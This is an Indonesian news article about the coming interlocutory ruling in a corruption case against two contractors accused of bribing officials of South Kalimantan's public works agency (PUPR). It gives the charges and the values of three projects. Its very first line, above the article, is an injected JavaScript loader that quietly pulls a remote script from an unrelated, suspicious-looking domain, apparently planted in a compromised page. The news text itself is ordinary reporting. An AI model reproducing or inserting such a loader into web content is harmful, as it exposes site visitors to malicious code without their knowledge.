(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Besok Putusan Sela Perkara Korupsi Dinas PUPR Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Perkara kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan (Kalsel) yang bergulir di Pengadilan Tindak Pidana Korupsi Banjarmasin, kini kelanjutannya ada di tangan tiga hakim.

Kamis (9/1/2025) besok, majelis hakim akan memutuskan apakah perkara yang menyeret dua kontraktor Sugeng Wahyudi dan Andi Susanto itu dilanjutkan ke tahap pembuktian, atau menerima eksepsi kedua terdakwa dan perkara selesai alias tak dilanjutkan.

Majelis hakim yang diketuai Cahyono Riza Arianto SH MH bersama dua Anggota Indra Meinantha Vidi SH dan Arif Winarno SH akan menyampaikan putusan sela.

Itu setelah penasehat hukum terdakwa Sugeng dan Andi mengajukan keberatan atau eksepsi atas dakwaan tim jaksa penuntut umum (JPU) dari Komisi Pemberantasan Korupsi (KPK).

Baca juga: Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

Penasehat hukum Andi dan Sugeng menganggap dakwaan JPU tidak cermat dan lengkap.

Poin permohonan eksepsi penasehat hukum kedua terdakwa pada intinya meminta agar Majelis Hakim mengabulkan nota eksepsi untuk mereka serta menyatakan surat dakwaan batal demi hukum atau tidak diterima seluruhnya.

“Menyatakan perkara tidak dapat dilakukan pemeriksaan lebih lanjut, memulihkan hak martabat terdakwa, membebaskan terdakwa dari tahanan, mengembalikan barang yang disita, meminta jaksa melaksanakan putusan perkara ini, dan membebankan biaya perkara kepada negara,” berikut bunyi nota permohonan eksepsi yang disampaikan Posko Simbolon di hadapan majelis hakim.

Menanggapi nota eksepsi itu, JPU KPK menilai isi keberatan yang disampaikan penasehat hukum kedua terdakwa telah masuk ke ranah materi pokok perkara.

Baca juga: Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

Bahkan, JPU mengatakan bahwa nota keberatan yang disampaikan tidak berdasar sehingga patut ditolak dan pemeriksaan perkara dilanjutkan.

“Maka dari itu alasan-alasan yang disampaikan oleh penasehat hukum tersebut tidak berdasar dan harus dilanjutkan pembuktian pokok perkara,” kata Meyer Simanjuntak, salah satu JPU KPK.

Andi Susanto dan Sugeng Wahyudi selaku kontraktor proyek PUPR Kalsel didakwa secara bersama memberikan hadiah atau kepada ASN atau penyelenggara negara.

Adalah Ahmad Solhan selaku Kadis PUPR Kalsel dan Yunita Erlina, Kabid Cipta Karya PUPR Kalsel yang juga terkena Operasi Tangkap Tangan (OTT) dan ditetapkan sebagai tersangka oleh KPK.

Baca juga: Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar

JPU memasang pasal 5 ayat 1 huruf b Undang-undang nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP, sebagai dakwaan pertama.

Kemudian dakwaan alternatif kedua, dipasang Pasal 13 Undang-undang nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke 1 KUHP.

Hadiah uang Rp1 miliar terkait dengan tiga proyek tahun 2024, pembangunan Gedung Samsat Terpadu di Jalan Ahmad Yani Km 17, Kecamatan Gambut, Kabupaten Banjar dikerjakan oleh PT Haryadi Indo Utama (HIU) dengan nilai Rp22.268.020.250.

Dua proyek lain yaitu pembangunan lapangan sepak bola sebesar Rp23.248.949.136 dengan penyedia PT Wismani Kharya Mandiri (WKM). Dan pembangunan kolam renang dengan biaya Rp9.178.205.930, penyedia terpilih CV Bangun Banua Bersama (CBB). Dua proyek itu dibangun di Kawasan Olahraga Terintegrasi Provinsi Kalsel. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Penerimaan Pajak DJP Kalselteng 2024 Capai Angka Rp31,65 Triliun

KANALKALIMANTAN.COM, BANJARMASIN - Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng)… Read More

10 jam ago

Perebutan Gelar Bergengsi Supercopa de España, RCTI Siap Menyajikan Drama Sepak Bola Spanyol!

KANALKALIMANTAN.COM - Supercopa de España atau dikenal juga sebagai Piala Super Spanyol kembali hadir untuk… Read More

14 jam ago

Bupati HST Terpilih Siap Berdayakan Anggota Komcad

KANALKALIMANTAN.COM, BARABAI – Meski belum dilantik, Bupati Hulu Sungai Tengah (HST) terpilih, Samsul Rizal berjanji… Read More

14 jam ago

Sekda Kalsel ‘Dicari’ OKP, Dituduh Arogan Potong Dana Hibah

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang mengatasnamakan diri dari Organisasi Kemasyarakatan Pemuda (OKP) Kalimantan Selatan (Kalsel)… Read More

14 jam ago

Perindo Kalsel: Sukseskan Pelantikan Kepala Daerah Terpilih

KANALKALIMANTAN.COM, BANJARMASIN – Partai Persatuan Indonesia (Perindo) Kalimantan Selatan (Kalsel) mengajak seluruh pihak untuk menyukseskan… Read More

15 jam ago

Diskon Listrik 50% Januari-Februari Mulai Berlaku, Beli Token Bisa Sepanjang Bulan

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) memastikan paket stimulus ekonomi berupa potongan tarif listrik 50%… Read More

15 jam ago

This website uses cookies.